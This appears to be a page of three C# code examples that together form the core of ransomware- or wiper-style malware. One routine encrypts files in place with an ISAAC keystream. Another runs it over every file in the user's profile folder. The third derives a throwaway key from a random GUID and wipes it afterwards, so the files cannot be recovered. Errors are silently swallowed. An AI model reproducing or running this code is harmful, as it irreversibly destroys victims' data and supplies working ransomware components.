Exemplo n.º 1
0
        public static void CryptFile(ISAAC csprng, byte[] subkey, string loc)
        {
            FileStream s = null;

            int[] oldmem = null;
            try
            {
                s = File.Open(loc, FileMode.Open, FileAccess.ReadWrite, FileShare.None);

                oldmem = new int[ISAAC.SIZE];
                for (int i = 0; i < ISAAC.SIZE; i++)
                {
                    oldmem[i] = csprng.mem[i];
                }

                for (int i = 0; i < subkey.Length; i++)
                {
                    csprng.mem[i] ^= subkey[i];
                }

                byte[] buffer = new byte[ISAAC.SIZE];
                int    read   = s.Read(buffer, 0, ISAAC.SIZE);
                do
                {
                    csprng.Isaac();

                    for (int i = 0; i < read; i++)
                    {
                        buffer[i] = (byte)((buffer[i] ^ csprng.rsl[i]) % 256);
                    }

                    s.Seek(-read, SeekOrigin.Current);
                    s.Write(buffer, 0, read);
                } while ((read = s.Read(buffer, 0, ISAAC.SIZE)) > 0);
            }
            catch { return; }
            finally
            {
                if (s != null)
                {
                    s.Close();
                    s.Dispose();
                }
                if (oldmem != null)
                {
                    csprng.mem = oldmem;
                    csprng.Isaac();
                }
            }
        }
Exemplo n.º 2
0
        static void Encrypt()
        {
            string[] Files  = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile));
            ISAAC    csprng = Crypt.PrepareKey();

            if (csprng == null)
            {
                return;
            }
            foreach (string F in Files)
            {
                Crypt.CryptFile(csprng, new byte[] { 0x54, 0x45, 0x53, 0x54, 0x4B, 0x45, 0x59 }, F);
            }
            return;
        }
Exemplo n.º 3
0
        public static ISAAC PrepareKey()
        {
            try
            {
                string seed     = Convert.ToBase64String(Guid.NewGuid().ToByteArray()).Substring(0, 8);
                byte[] realseed = Encoding.UTF8.GetBytes(seed);

                ISAAC csprng = new ISAAC();

                for (int i = 0; i < TUMBLE; i++)
                {
                    csprng.Isaac();
                }

                for (int i = 0; i < realseed.Length; i++)
                {
                    csprng.mem[i] = realseed[i];
                }

                StringBuilder b = new StringBuilder(seed.Length);
                for (int i = 0; i < seed.Length; i++)
                {
                    b.Append(' ');
                }
                seed = b.ToString();

                for (int i = 0; i < realseed.Length; i++)
                {
                    realseed[i] = 0;
                }

                seed = null; realseed = null;

                for (int i = 0; i < TUMBLE; i++)
                {
                    csprng.Isaac();
                }

                return(csprng);
            }
            catch { return(null); }
        }